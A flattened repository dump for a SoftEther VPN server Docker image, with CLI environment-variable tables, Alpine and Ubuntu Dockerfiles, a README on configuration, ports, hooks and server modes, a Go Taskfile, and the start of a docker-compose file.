`$LOG_LEVEL` | Define the log level for the application. | `String`
`enum("panic", "fatal", "warn", "info", "debug", "trace")` | `false` | info | 14 | | `$ENV_FILE` | Environment files to inject. | `StringSlice` | `false` | | 15 | 16 | ### DHCP Server 17 | 18 | | Flag / Environment | Description | Type | Required | Default | 19 | |---------------- | --------------- | --------------- | --------------- | --------------- | 20 | | `$DHCP_SERVER_TEMPLATE` | Template location for the DHCP server. | `String` | `false` | /etc/template/dnsmasq.conf.tmpl | 21 | | `$DHCP_SERVER_LEASE` | DHCP server lease time for clients. | `String` | `false` | 12h | 22 | | `$DHCP_SERVER_SEND_GATEWAY` | Whether to send the default gateway to the client. Sometimes you do not want to proxy traffic through the network, rather just establish a connection to the VPN network. | `Bool` | `false` | false | 23 | | `$DHCP_SERVER_GATEWAY` | Set the gateway option for the underlying DNS server. | `String` | `false` | CIDR address range start | 24 | | `$DHCP_SERVER_FORWARDING_ZONE` | Set forwarding-zone DNS addresses for the DHCP server. | `StringSlice` | `false` | "8.8.8.8", "8.8.4.4" | 25 | 26 | ### Health 27 | 28 | | Flag / Environment | Description | Type | Required | Default | 29 | |---------------- | --------------- | --------------- | --------------- | --------------- | 30 | | `$HEALTH_CHECK_INTERVAL` | Health check interval to the upstream server in duration. | `Duration` | `false` | 10m | 31 | | `$HEALTH_DHCP_SERVER_ADDRESS` | Upstream DHCP server address for doing health checks. | `String` | `false` | CIDR address range start | 32 | | `$HEALTH_ENABLE_PING` | Whether to enable the ping check or not. | `Bool` | `false` | false | 33 | 34 | ### Linux Bridge 35 | 36 | | Flag / Environment | Description | Type | Required | Default | 37 | |---------------- | --------------- | --------------- | --------------- | --------------- | 38 | | `$LINUX_BRIDGE_INTERFACE_NAME` | Interface name for the resulting communication bridge interface. | `String` | `false` | br100 | 39 | | `$LINUX_BRIDGE_UPSTREAM_INTERFACE` | Interface name for the upstream parent network interface to bridge to, this interface should provide a DHCP server to handle the clients. | `String` | `false` | eth0 | 40 | | `$LINUX_BRIDGE_USE_DHCP` | Use the upstream DHCP server to get ip for the bridge interface. | `Bool` | `false` | false | 41 | | `$LINUX_BRIDGE_STATIC_IP` | Use a static IP for the bridge interface. | `String` | `false` | | 42 | 43 | ### Server 44 | 45 | | Flag / Environment | Description | Type | Required | Default | 46 | |---------------- | --------------- | --------------- | --------------- | --------------- | 47 | | `$SERVER_MODE` | Server mode changes the behavior of the container. | `String`
`enum("dhcp", "bridge")` | `true` | | 48 | | `$SERVER_CIDR_ADDRESS` | CIDR address of the server. | `String` | `false` | 10.0.0.0/24 | 49 | 50 | ### SoftEther 51 | 52 | | Flag / Environment | Description | Type | Required | Default | 53 | |---------------- | --------------- | --------------- | --------------- | --------------- | 54 | | `$SOFTETHER_TEMPLATE` | Template location for the SoftEtherVPN server. | `String` | `false` | /etc/template/vpn_server.config.tmpl | 55 | | `$SOFTETHER_TAP_INTERFACE` | Interface name for SoftEther and the server to bind to as a tap device. | `String` | `false` | soft | 56 | | `$SOFTETHER_DEFAULT_HUB` | Default hub name for SoftEtherVPN server. | `String` | `false` | DEFAULT | 57 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # syntax=docker/dockerfile-upstream:master-labs 2 | FROM alpine:latest as builder 3 | 4 | ARG TARGETOS 5 | ARG TARGETARCH 6 | ARG TARGETVARIANT 7 | 8 | ENV REPOSITORY https://github.com/SoftEtherVPN/SoftEtherVPN.git 9 | 10 | WORKDIR /tmp/softether 11 | ADD --keep-git-dir=true ${REPOSITORY} /tmp/softether 12 | 13 | RUN \ 14 | apk --no-cache --no-progress update && \ 15 | apk --no-cache --no-progress upgrade && \ 16 | # Install build dependencies 17 | apk --no-cache --no-progress --virtual .build-deps add git libgcc libstdc++ gcc musl-dev libc-dev g++ ncurses-dev libsodium-dev \ 18 | readline-dev openssl-dev cmake make zlib-dev && \ 19 | # Init submodules 20 | git submodule init && git submodule update && \ 21 | # Build 22 | if [ "${TARGETARCH}" == "arm64" ]; then echo "Forcing to use neon on arm64 platform manually."; sed -ir 's|set(BLAKE2_SRC_PATH $,${TOP_DIRECTORY}/3rdparty/BLAKE2/sse,${TOP_DIRECTORY}/3rdparty/BLAKE2/ref>)|set(BLAKE2_SRC_PATH ${TOP_DIRECTORY}/3rdparty/BLAKE2/neon)|' ./src/Cedar/CMakeLists.txt; sed -ir 's|set(BLAKE2_SRC $,${BLAKE2_SRC_PATH}/blake2s.c,${BLAKE2_SRC_PATH}/blake2s-ref.c>)|set(BLAKE2_SRC ${BLAKE2_SRC_PATH}/blake2s-neon.c)|' ./src/Cedar/CMakeLists.txt; fi && \ 23 | export USE_MUSL=YES && ./configure && make --silent -C build && make --silent -C build install 24 | 25 | FROM alpine:latest 26 | 27 | ARG TARGETOS 28 | ARG TARGETARCH 29 | ARG TARGETVARIANT 30 | 31 | COPY --from=builder /tmp/softether/build/libcedar.so /usr/lib 32 | COPY --from=builder /tmp/softether/build/libmayaqua.so /usr/lib 33 | COPY --from=builder /usr/local/libexec/softether/vpnserver/ /usr/local/libexec/softether/vpnserver/ 34 | COPY --from=builder /usr/local/libexec/softether/vpncmd/ /usr/local/libexec/softether/vpncmd/ 35 | COPY --from=builder /usr/local/bin/vpnserver /usr/bin/softether-vpnsrv 36 | COPY --from=builder /usr/local/bin/vpncmd /usr/bin/softether-vpncmd 37 | 38 | RUN \ 39 | # Reintroduce necessary runtime libraries 40 | apk add --no-cache --virtual .run-deps \ 41 | libcap libcrypto3 libssl3 ncurses-libs readline su-exec zlib-dev dhclient libsodium-dev dnsmasq iptables tini && \ 42 | # Link Libraries to Binary 43 | ln -s /usr/local/libexec/softether/vpnserver/ /etc/softether && \ 44 | mkdir -p /conf && \ 45 | echo "tun" >> /etc/modules && \ 46 | echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf && \ 47 | mkdir -p /dev/net && \ 48 | mknod /dev/net/tun c 10 200 && \ 49 | mkdir -p /docker.init.d 50 | 51 | # Advise to open necassary ports 52 | EXPOSE 1443/tcp 992/tcp 1194/tcp 1194/udp 5555/tcp 500/udp 4500/udp 1701/udp 53 | 54 | # Advise to create necassary volumes 55 | VOLUME [ "/conf" ] 56 | 57 | # Move host file system 58 | COPY ./.docker/hostfs / 59 | COPY --chmod=777 ./dist/pipe-${TARGETOS}-${TARGETARCH}${TARGETVARIANT} /usr/bin/pipe 60 | 61 | # Set working directory back 62 | WORKDIR / 63 | 64 | ENTRYPOINT ["tini", "pipe"] 65 | -------------------------------------------------------------------------------- /Dockerfile-stable: -------------------------------------------------------------------------------- 1 | # need to be renewed, obsolute for now 2 | FROM alpine:latest 3 | 4 | ARG TARGETOS 5 | ARG TARGETARCH 6 | ARG TARGETVARIANT 7 | 8 | ENV REPOSITORY https://github.com/SoftEtherVPN/SoftEtherVPN.git 9 | 10 | COPY .tags /tmp/.tags 11 | 12 | RUN \ 13 | apk --no-cache --no-progress update && \ 14 | apk --no-cache --no-progress upgrade && \ 15 | # Install supervisor 16 | apk --no-cache --no-progress add tini && \ 17 | mkdir -p /conf && \ 18 | # Install build dependencies 19 | apk --no-cache --no-progress --virtual .build-deps add git libgcc libstdc++ gcc musl-dev libc-dev g++ ncurses-dev libsodium-dev \ 20 | readline-dev openssl-dev cmake make zlib-dev && \ 21 | # Grab and build Softether from GitHub 22 | git clone ${REPOSITORY} /tmp/softether && \ 23 | cd /tmp/softether && \ 24 | # Checkout Latest Tag 25 | git checkout "$(cat /tmp/.tags)" && \ 26 | # init submodules 27 | git submodule init && git submodule update && \ 28 | # Build 29 | if [ "${TARGETARCH}" == "arm64" ]; then echo "Forcing to use neon on arm64 platform manually."; sed -ir 's|set(BLAKE2_SRC_PATH $,${TOP_DIRECTORY}/3rdparty/BLAKE2/sse,${TOP_DIRECTORY}/3rdparty/BLAKE2/ref>)|set(BLAKE2_SRC_PATH ${TOP_DIRECTORY}/3rdparty/BLAKE2/neon)|' ./src/Cedar/CMakeLists.txt; sed -ir 's|set(BLAKE2_SRC $,${BLAKE2_SRC_PATH}/blake2s.c,${BLAKE2_SRC_PATH}/blake2s-ref.c>)|set(BLAKE2_SRC ${BLAKE2_SRC_PATH}/blake2s-neon.c)|' ./src/Cedar/CMakeLists.txt ; fi && \ 30 | export USE_MUSL=YES && ./configure && make --silent -C build && make --silent -C build install && \ 31 | cp /tmp/softether/build/libcedar.so /tmp/softether/build/libmayaqua.so /usr/lib && \ 32 | # Removing build extensions 33 | apk del .build-deps && apk del --no-cache --purge && \ 34 | rm -rf /tmp/softether && rm -rf /var/cache/apk/* && \ 35 | # Deleting unncessary extensions 36 | rm -rf /usr/local/bin/vpnbridge \ 37 | /usr/local/libexec/softether/vpnbridge && \ 38 | # Reintroduce necassary runtime libraries 39 | apk add --no-cache --virtual .run-deps \ 40 | libcap libcrypto1.1 libssl1.1 ncurses-libs readline su-exec zlib-dev dhclient libsodium-dev && \ 41 | # Link Libraries to Binary 42 | ln -s /usr/local/bin/vpnserver /usr/bin/softether-vpnsrv && \ 43 | ln -s /usr/local/bin/vpncmd /usr/bin/softether-vpncmd && \ 44 | ln -s /usr/local/libexec/softether/vpnserver/ /etc/softether && \ 45 | # Install dnsmasq and create the tun network adapter. 46 | apk add --no-cache dnsmasq iptables && \ 47 | echo "tun" >> /etc/modules && \ 48 | echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf && \ 49 | mkdir -p /dev/net && \ 50 | mknod /dev/net/tun c 10 200 && \ 51 | mkdir -p /docker.init.d && \ 52 | rm -rf /tmp/* 53 | 54 | # Advise to open necassary ports 55 | EXPOSE 1443/tcp 992/tcp 1194/tcp 1194/udp 5555/tcp 500/udp 4500/udp 1701/udp 56 | 57 | # Adviste to create necassary volumes 58 | VOLUME [ "/conf" ] 59 | 60 | # Move host file system 61 | COPY ./.docker/hostfs / 62 | COPY ./dist/pipe-${TARGETOS}-${TARGETARCH}${TARGETVARIANT} /usr/bin/pipe 63 | 64 | RUN chmod +x /usr/bin/pipe 65 | 66 | # Set working directory back 67 | WORKDIR / 68 | 69 | ENTRYPOINT ["tini", "pipe"] 70 | -------------------------------------------------------------------------------- /Dockerfile-ubuntu: -------------------------------------------------------------------------------- 1 | # syntax=docker/dockerfile-upstream:master-labs 2 | FROM ubuntu:latest AS builder 3 | 4 | ARG TARGETOS 5 | ARG TARGETARCH 6 | ARG TARGETVARIANT 7 | 8 | ENV REPOSITORY https://github.com/SoftEtherVPN/SoftEtherVPN.git 9 | 10 | WORKDIR /tmp/softether 11 | ADD --keep-git-dir=true ${REPOSITORY} /tmp/softether 12 | 13 | RUN \ 14 | # Install build tools 15 | apt-get update -y && \ 16 | apt-get install git g++ make libssl-dev cmake pkg-config \ 17 | libsodium-dev libncurses5-dev zlib1g-dev libreadline-dev \ 18 | ca-certificates -y --no-install-recommends && \ 19 | # Init submodules 20 | git submodule update --init --recursive && \ 21 | # Build 22 | if [ "${TARGETARCH}" == "arm64" ]; then echo "Forcing to use neon on arm64 platform manually."; sed -ir 's|set(BLAKE2_SRC_PATH $,${TOP_DIRECTORY}/3rdparty/BLAKE2/sse,${TOP_DIRECTORY}/3rdparty/BLAKE2/ref>)|set(BLAKE2_SRC_PATH ${TOP_DIRECTORY}/3rdparty/BLAKE2/neon)|' ./src/Cedar/CMakeLists.txt; sed -ir 's|set(BLAKE2_SRC $,${BLAKE2_SRC_PATH}/blake2s.c,${BLAKE2_SRC_PATH}/blake2s-ref.c>)|set(BLAKE2_SRC ${BLAKE2_SRC_PATH}/blake2s-neon.c)|' ./src/Cedar/CMakeLists.txt; fi && \ 23 | ./configure && make --silent -C build && make --silent -C build install 24 | 25 | # Second stage 26 | FROM ubuntu:latest 27 | 28 | ARG TARGETOS 29 | ARG TARGETARCH 30 | ARG TARGETVARIANT 31 | 32 | COPY --from=builder /tmp/softether/build/libcedar.so /usr/lib 33 | COPY --from=builder /tmp/softether/build/libmayaqua.so /usr/lib 34 | COPY --from=builder /usr/local/libexec/softether/vpnserver/ /usr/local/libexec/softether/vpnserver/ 35 | COPY --from=builder /usr/local/libexec/softether/vpncmd/ /usr/local/libexec/softether/vpncmd/ 36 | COPY --from=builder /usr/local/bin/vpnserver /usr/bin/softether-vpnsrv 37 | COPY --from=builder /usr/local/bin/vpncmd /usr/bin/softether-vpncmd 38 | 39 | RUN \ 40 | # Installing libs and packages 41 | apt-get update -y && \ 42 | apt-get install tini libsodium-dev libreadline-dev \ 43 | iptables iproute2 net-tools dnsmasq bridge-utils isc-dhcp-client -y --no-install-recommends && \ 44 | # Cleaning apt cache 45 | apt-get clean -y && \ 46 | rm -rf /var/lib/apt/lists/* && \ 47 | mkdir -p /conf && \ 48 | ln -s /usr/local/libexec/softether/vpnserver/ /etc/softether && \ 49 | # Create the tun network adapter 50 | echo "tun" >> /etc/modules && \ 51 | echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf && \ 52 | mkdir -p /dev/net && \ 53 | mknod /dev/net/tun c 10 200 && \ 54 | mkdir -p /docker.init.d 55 | 56 | # Advise to open necessary ports 57 | EXPOSE 1443/tcp 992/tcp 1194/tcp 1194/udp 5555/tcp 500/udp 4500/udp 1701/udp 58 | 59 | # Advise to create necessary volumes 60 | VOLUME [ "/conf" ] 61 | 62 | # Move host file system 63 | COPY ./.docker/hostfs / 64 | COPY --chmod=777 ./dist/pipe-${TARGETOS}-${TARGETARCH}${TARGETVARIANT} /usr/bin/pipe 65 | 66 | # Set working directory back 67 | WORKDIR / 68 | 69 | ENTRYPOINT ["tini", "pipe"] 70 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # cenk1cenk2/softether-vpnsrv 2 | 3 | [![pipeline status](https://gitlab.kilic.dev/docker/softether-vpnsrv/badges/master/pipeline.svg)](https://gitlab.kilic.dev/docker/softether-vpnsrv/-/commits/master) [![Docker Pulls](https://img.shields.io/docker/pulls/cenk1cenk2/softether-vpnsrv)](https://hub.docker.com/repository/docker/cenk1cenk2/softether-vpnsrv) [![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/cenk1cenk2/softether-vpnsrv)](https://hub.docker.com/repository/docker/cenk1cenk2/softether-vpnsrv) [![Docker Image Version (latest by date)](https://img.shields.io/docker/v/cenk1cenk2/softether-vpnsrv)](https://hub.docker.com/repository/docker/cenk1cenk2/softether-vpnsrv) [![GitHub last commit](https://img.shields.io/github/last-commit/cenk1cenk2/softether-vpnsrv)](https://github.com/cenk1cenk2/softether-vpnsrv) 4 | 5 | ## Description 6 | 7 | SoftEther VPN is a free open-source, cross-platform, multi-protocol VPN client and VPN server software developed as part of Daiyuu Nobori's master's thesis research at the University of Tsukuba. VPN protocols such as Wireguard, SSL VPN, L2TP/IPsec, OpenVPN, and Microsoft Secure Socket Tunneling Protocol are provided in a single VPN server. 8 | 9 | This container runs a SoftEther VPN Server bundled together with a configuration manager that enables to use of either a DNSMASQ DHCP server to distribute the IPs or bridging to an existing network interface upstream. It utilizes a Linux virtual ethernet TAP device to distribute the network traffic. 10 | 11 | [Read more](https://www.softether.org/) about SoftEther in the official documentation. 12 | 13 | --- 14 | 15 | - [CLI Documentation](./CLI.md) 16 | 17 | 18 | 19 | - [Features](#features) 20 | - [Efficient](#efficient) 21 | - [Up-to-Date](#up-to-date) 22 | - [Versioning](#versioning) 23 | - [Health Check](#health-check) 24 | - [Graceful Shutdown](#graceful-shutdown) 25 | - [Flavors](#flavors) 26 | - [Architecture](#architecture) 27 | - [Environment Variables](#environment-variables) 28 | - [CLI](#cli) 29 | - [DHCP Server](#dhcp-server) 30 | - [Health](#health) 31 | - [Linux Bridge](#linux-bridge) 32 | - [Server](#server) 33 | - [SoftEther](#softether) 34 | - [Setup](#setup) 35 | - [Volumes](#volumes) 36 | - [Hooks](#hooks) 37 | - [SoftEther Configuration](#softether-configuration) 38 | - [DNSMASQ Configuration](#dnsmasq-configuration) 39 | - [Logs](#logs) 40 | - [Ports](#ports) 41 | - [Server Mode](#server-mode) 42 | - [DHCP](#dhcp) 43 | - [Bridge](#bridge) 44 | - [Permissions](#permissions) 45 | - [Deploy](#deploy) 46 | - [Interface](#interface) 47 | - [Command Line Interface](#command-line-interface) 48 | - [SoftEther VPN Client](#softether-vpn-client) 49 | 50 | 51 | 52 | --- 53 | 54 | ## Features 55 | 56 | ### Efficient 57 | 58 | Build on top of Alpine Linux as a base, ~30MB image size, ~15-20MB RAM Usage while standby. 59 | 60 | ### Up-to-Date 61 | 62 | This repository is always up to date tracking the [default](https://github.com/SoftEtherVPN/SoftEtherVPN) branch of the SoftEtherVPN repository on GitHub. It checks the main repository monthly since there are no frequent updates anymore, and if a new release has been matched it will trigger the build process. 63 | 64 | It always builds the application from the source, and while doing that the dependencies will also be updated. 65 | 66 | ### Versioning 67 | 68 | The Docker images are tagged with matching versions to the original repository. 69 | 70 | The `latest` tag is reserved for the current snapshot of the default branch on the upstream SoftEtherVPN repository. 71 | 72 | ### Health Check 73 | 74 | Periodical health check for monitoring the processes as well as pinging the DHCP server has been implemented. If one of the health checks fails the container will terminate itself. You can use the `docker` restart feature to start the container back on failure. 75 | 76 | ### Graceful Shutdown 77 | 78 | At shutdown or crashes, the container cleans up all the created virtual ethernet interfaces, and TAP devices, and undoes all the system changes. 79 | 80 | This is a best-effort process and it can not guarantee to finish this process successfully. 81 | 82 | ## Flavors 83 | 84 | | Image Format | Description | 85 | | ---------------- | ----------------------------------------------------------- | 86 | | latest | Latest build of upstream with Alpine Linux as the base. | 87 | | latest-ubuntu | Latest build of upstream with Ubuntu as the base. | 88 | | v\d.\d.\d | Specific tag of the upstream with Alpine Linux as the base. | 89 | | v\d.\d.\d-ubuntu | Specific tag of the upstream with Ubuntu as the base. | 90 | 91 | ### Architecture 92 | 93 | This image is built for `linux-amd64` and `linux-arm64` architectures. 94 | 95 | ## Environment Variables 96 | 97 | Options for DHCP server or Linux bridge interfaces get activated when that server mode is activated through `$SERVER_MODE`. 98 | 99 | 100 | 101 | ### CLI 102 | 103 | | Flag / Environment | Description | Type | Required | Default | 104 | |---------------- | --------------- | --------------- | --------------- | --------------- | 105 | | `$LOG_LEVEL` | Define the log level for the application. | `String`
`enum("panic", "fatal", "warn", "info", "debug", "trace")` | `false` | info | 106 | | `$ENV_FILE` | Environment files to inject. | `StringSlice` | `false` | | 107 | 108 | ### DHCP Server 109 | 110 | | Flag / Environment | Description | Type | Required | Default | 111 | |---------------- | --------------- | --------------- | --------------- | --------------- | 112 | | `$DHCP_SERVER_TEMPLATE` | Template location for the DHCP server. | `String` | `false` | /etc/template/dnsmasq.conf.tmpl | 113 | | `$DHCP_SERVER_LEASE` | DHCP server lease time for clients. | `String` | `false` | 12h | 114 | | `$DHCP_SERVER_SEND_GATEWAY` | Whether to send the default gateway to the client. Sometimes you do not want to proxy traffic through the network, rather just establish a connection to the VPN network. | `Bool` | `false` | false | 115 | | `$DHCP_SERVER_GATEWAY` | Set the gateway option for the underlying DNS server. | `String` | `false` | CIDR address range start | 116 | | `$DHCP_SERVER_FORWARDING_ZONE` | Set forwarding-zone DNS addresses for the DHCP server. | `StringSlice` | `false` | "8.8.8.8", "8.8.4.4" | 117 | 118 | ### Health 119 | 120 | | Flag / Environment | Description | Type | Required | Default | 121 | |---------------- | --------------- | --------------- | --------------- | --------------- | 122 | | `$HEALTH_CHECK_INTERVAL` | Health check interval to the upstream server in duration. | `Duration` | `false` | 10m | 123 | | `$HEALTH_DHCP_SERVER_ADDRESS` | Upstream DHCP server address for doing health checks. | `String` | `false` | CIDR address range start | 124 | | `$HEALTH_ENABLE_PING` | Whether to enable the ping check or not. | `Bool` | `false` | false | 125 | 126 | ### Linux Bridge 127 | 128 | | Flag / Environment | Description | Type | Required | Default | 129 | |---------------- | --------------- | --------------- | --------------- | --------------- | 130 | | `$LINUX_BRIDGE_INTERFACE_NAME` | Interface name for the resulting communication bridge interface. | `String` | `false` | br100 | 131 | | `$LINUX_BRIDGE_UPSTREAM_INTERFACE` | Interface name for the upstream parent network interface to bridge to, this interface should provide a DHCP server to handle the clients. | `String` | `false` | eth0 | 132 | | `$LINUX_BRIDGE_USE_DHCP` | Use the upstream DHCP server to get ip for the bridge interface. | `Bool` | `false` | false | 133 | | `$LINUX_BRIDGE_STATIC_IP` | Use a static IP for the bridge interface. | `String` | `false` | | 134 | 135 | ### Server 136 | 137 | | Flag / Environment | Description | Type | Required | Default | 138 | |---------------- | --------------- | --------------- | --------------- | --------------- | 139 | | `$SERVER_MODE` | Server mode changes the behavior of the container. | `String`
`enum("dhcp", "bridge")` | `true` | | 140 | | `$SERVER_CIDR_ADDRESS` | CIDR address of the server. | `String` | `false` | 10.0.0.0/24 | 141 | 142 | ### SoftEther 143 | 144 | | Flag / Environment | Description | Type | Required | Default | 145 | |---------------- | --------------- | --------------- | --------------- | --------------- | 146 | | `$SOFTETHER_TEMPLATE` | Template location for the SoftEtherVPN server. | `String` | `false` | /etc/template/vpn_server.config.tmpl | 147 | | `$SOFTETHER_TAP_INTERFACE` | Interface name for SoftEther and the server to bind to as a tap device. | `String` | `false` | soft | 148 | | `$SOFTETHER_DEFAULT_HUB` | Default hub name for SoftEtherVPN server. | `String` | `false` | DEFAULT | 149 | 150 | 151 | 152 | ## Setup 153 | 154 | **You can mount a persistent folder to the configuration volume at `/conf` to persist configuration data.** 155 | 156 | ### Volumes 157 | 158 | If the configuration for the component is missing, it will auto-generate a new configuration file depending on the environment variables the user has passed. 159 | 160 | | Configuration | Location | 161 | | ------------- | ------------------------- | 162 | | SoftEtherVPN | `/conf/vpn_server.config` | 163 | | DNSMASQ | `/conf/dnsmasq.conf` | 164 | 165 | **It will not manipulate the configuration files if the persistent versions of them are found inside the expected folders already. So if you have a persistent configuration file, it is, unfortunately, your responsibility to get it working.** 166 | 167 | ### Hooks 168 | 169 | There are lifetime hooks that can be used as executable scripts to further extend the configuration to your needs at given times while starting the container. These hooks should be executable files that are mounted in a certain location. 170 | 171 | | Hook | Location | Description | 172 | | ------------ | --------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------- | 173 | | `post-tasks` | `/docker.init.d/post-tasks` | Will run after configuration of the services has finished, dhcp/bridge setup has been done and just before starting the services themselves. | 174 | 175 | > Remember to use the appropriate shell depending on the base image if you are using shell scripts and take into consideration what applications might be available in the container. 176 | 177 | ### SoftEther Configuration 178 | 179 | The configuration has defaults as follows. 180 | 181 | - The default port at startup will be 1443. 182 | - The default bridge device is set through the generation of the configuration file. 183 | - Please check out the normal process for [SoftEther Setup](https://www.softether.org/4-docs/2-howto/9.L2TPIPsec_Setup_Guide_for_SoftEther_VPN_Server/1.Setup_L2TP%2F%2F%2F%2FIPsec_VPN_Server_on_SoftEther_VPN_Server). SoftEtherVPN server can be configured by using the GUI or the CLI. 184 | 185 | **Please remember that at the initial startup, there is no admin password for managing the server, it is very crucial to set it up as soon as possible.** 186 | 187 | If you are using a persistent configuration file that is not auto-generated through this container, you should be sure that your HUB configuration is bridged properly with the TAP adapter. 188 | 189 | ### DNSMASQ Configuration 190 | 191 | The configuration has defaults as follows. 192 | 193 | - It will auto-generate a `dnsmasq.conf` depending on the environment variables you have provided. 194 | - If you want to additionally want to add configuration you can always mount a folder to `/etc/dnsmasq.d/` and add your custom configuration. 195 | 196 | ### Logs 197 | 198 | The log files can be found on `/etc/softether/server_log`, `/etc/softether/security_log`, `/etc/softether/packet_log` inside the container. So you can mount a folder there to obtain the logs from the SoftEtherVPN server. 199 | 200 | **The auto-generated configuration file will SoftEtherVPN server will have the logging disabled by default.** You can re-enable it through the options of the server. 201 | 202 | If you do not need any kind of logs you can always mount them to `/dev/null`. 203 | 204 | ### Ports 205 | 206 | The default ports that the SoftEtherVPN server functions on are as follows. 207 | 208 | ```yaml 209 | - 1443:1443/tcp # softether 210 | - 992:992/tcp # softether alternative 211 | - 5555:5555/tcp # softether alternative 212 | - 1194:1194/udp # openvpn 213 | - 500:500/udp # l2tp IPSec IKE 214 | - 4500:4500/udp # l2tp IPSec 215 | - 1701:1701/tcp # l2tp 216 | ``` 217 | 218 | You can disable the alternatives or the ones that you do not need as you like. 219 | 220 | ### Server Mode 221 | 222 | You can select one of to server modes which are `dhcp` or `bridge`. 223 | 224 | #### DHCP 225 | 226 | - `dhcp` mode will start a DNSMASQ DHCP server in the background to handle the incoming DHCP requests. This yields much better performance compared to using the `SecureNAT` provided by SoftEther. 227 | - The configuration file for DNSMASQ will be generated if it is not persistent, with environment variables from the DHCP Server section. 228 | - It will be attached to the given `SOFTETHER_TAP_INTERFACE`. So whenever you do attach a persistent configuration file manually, please be sure that it points to the correct tap interface. The configuration utility will also assign a static IP address to the given interface making it compatible with how DNSMASQ starts up. 229 | 230 | #### Bridge 231 | 232 | - `bridge` mode will create a new bridge adapter and add the TAP adapter and the upstream adapter to it. 233 | - The upstream DHCP server on the upstream adapter interface will be providing the DHCP setup. This will allow you to connect to a local network. 234 | - Performance is abysmal if you are using the bridge adapter or the upstream adapter directly. SoftEtherVPN server behaves the best whenever it goes through a TAP adapter, so that is why there is still a TAP adapter in between. 235 | - Please be sure to set the server CIDR address properly, because this would set the ping health check to the upstream DHCP server which in the case it would not respond will fail the health check of the container. 236 | 237 | ### Permissions 238 | 239 | **This container needs extra Linux capabilities as provided by [thjderjktyrjkt](https://github.com/thjderjktyrjkt), you can find this in the related issue [#20](https://github.com/wryminimum/docker-softether-vpnsrv/issues/20).** 240 | 241 | Basically, it needs the following capabilities to function properly, while it creates a virtual network adapter for communication. 242 | 243 | ```yaml 244 | cap_add: 245 | - SETGID 246 | - SETUID 247 | - NET_ADMIN 248 | - NET_RAW 249 | - NET_BIND_SERVICE 250 | ``` 251 | 252 | It also needs to access the `tun` device of the machine which can be added as follows. 253 | 254 | ```yaml 255 | devices: 256 | - /dev/net/tun 257 | ``` 258 | 259 | ## Deploy 260 | 261 | You can check out the example setup inside `docker-compose.yml` to see how this container can become operational. Please mind the environment variables for the configuration as well as the section about the configuration files and their generation. 262 | 263 | ## Interface 264 | 265 | If you ever want to interact with the underlying applications you can execute the tasks in the container. 266 | 267 | ### Command Line Interface 268 | 269 | Command-line interface in the container can be accessed through `softether-vpncmd`. 270 | 271 | ## SoftEther VPN Client 272 | 273 | The complementary Docker container for this server can be found [here](https://github.com/cenk1cenk2/softether-vpncli). 274 | -------------------------------------------------------------------------------- /Taskfile.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # https://taskfile.dev 3 | 4 | version: "3" 5 | 6 | vars: 7 | GO_LD_FLAGS: -w -s 8 | BINARY_DIR: dist 9 | BINARY_NAME: pipe 10 | BINARY_APPEND_OS: true 11 | BINARY_APPEND_ARCH: true 12 | 13 | env: 14 | CGO_ENABLED: 0 15 | 16 | tasks: 17 | install: 18 | desc: Installs the required dependencies on pull. 19 | cmds: 20 | - go mod vendor 21 | sources: 22 | - go.{sum,mod} 23 | generates: 24 | - "vendor/**" 25 | 26 | format: 27 | desc: Formats the current code base. 28 | cmds: 29 | - goimports -w . 30 | - golangci-lint run --fix 31 | 32 | lint: 33 | desc: Lints the codebase with predefined rules. 34 | cmds: 35 | - golangci-lint run 36 | sources: 37 | - "**/*.go" 38 | 39 | update: 40 | desc: Updates all the dependencies to their latest minor version. 41 | cmds: 42 | - go get -u all 43 | - task: tidy 44 | 45 | tidy: 46 | desc: Tidies the go.mod file. 47 | cmds: 48 | - go mod tidy -compat={{ .GO_VERSION }} 49 | - task: install 50 | sources: 51 | - "go.{mod,sum}" 52 | 53 | clean: 54 | desc: Cleans the output binary folder and build cache. 55 | cmds: 56 | - go clean 57 | - rm -f {{ .BINARY_DIR }} 58 | 59 | test: 60 | desc: Tests the given application. 61 | cmds: 62 | - go test -v -p 1 ./... 63 | 64 | build: 65 | desc: Builds the application. 66 | deps: 67 | - task: build.platform 68 | vars: 69 | os: linux 70 | arch: amd64 71 | - task: build.platform 72 | vars: 73 | os: linux 74 | arch: arm64 75 | 76 | build.platform: 77 | internal: true 78 | vars: 79 | binary_output: '{{ .BINARY_DIR }}/{{ .BINARY_NAME }}{{ if .BINARY_APPEND_OS }}-{{ .os }}{{ end }}{{ if .BINARY_APPEND_ARCH }}-{{ .arch }}{{ end }}' 80 | cmds: 81 | - GOOS={{ .os }} GOARCH={{ .arch }} go build -mod=vendor {{- if .GO_LD_FLAGS }} -ldflags="{{ .GO_LD_FLAGS }}"{{- end }} -o {{ .binary_output }} 82 | sources: 83 | - "**/*.go" 84 | - "go.{mod,sum}" 85 | generates: 86 | - "{{ .binary_output }}" 87 | 88 | start: 89 | desc: Starts the given application. 90 | interactive: true 91 | env: 92 | LOG_LEVEL: debug 93 | cmds: 94 | - go run . {{ .CLI_ARGS }} 95 | 96 | docs: 97 | desc: Generates the documentation for the application. 98 | interactive: true 99 | env: 100 | LOG_LEVEL: trace 101 | cmds: 102 | - go run . MARKDOWN_DOC 103 | - go run . MARKDOWN_EMBED 104 | 105 | help: 106 | desc: Generates help for the application. 107 | cmds: 108 | - go run . --help 109 | 110 | docker.build: 111 | desc: Builds the docker container for the application for testing. 112 | cmds: 113 | - docker-compose build 114 | sources: 115 | - "dist/**" 116 | - "Dockerfile*" 117 | - "docker-compose*.yml" 118 | 119 | docker.up: 120 | desc: Runs the docker-compose application. 121 | interactive: true 122 | cmds: 123 | - task: build 124 | - task: docker.build 125 | - docker-compose up 126 | -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.7" 2 | services: 3 | softether-vpnsrv: 4 | image: cenk1cenk2/softether-vpnsrv:test 5 | build: 6 | context: . 7 | dockerfile: Dockerfile 8 | args: 9 | TARGETOS: linux 10 | TARGETARCH: amd64 11 | env_file: .env 12 | devices: 13 | - /dev/net/tun 14 | ports: 15 | - 1443:1443/tcp 16 | - 992:992/tcp 17 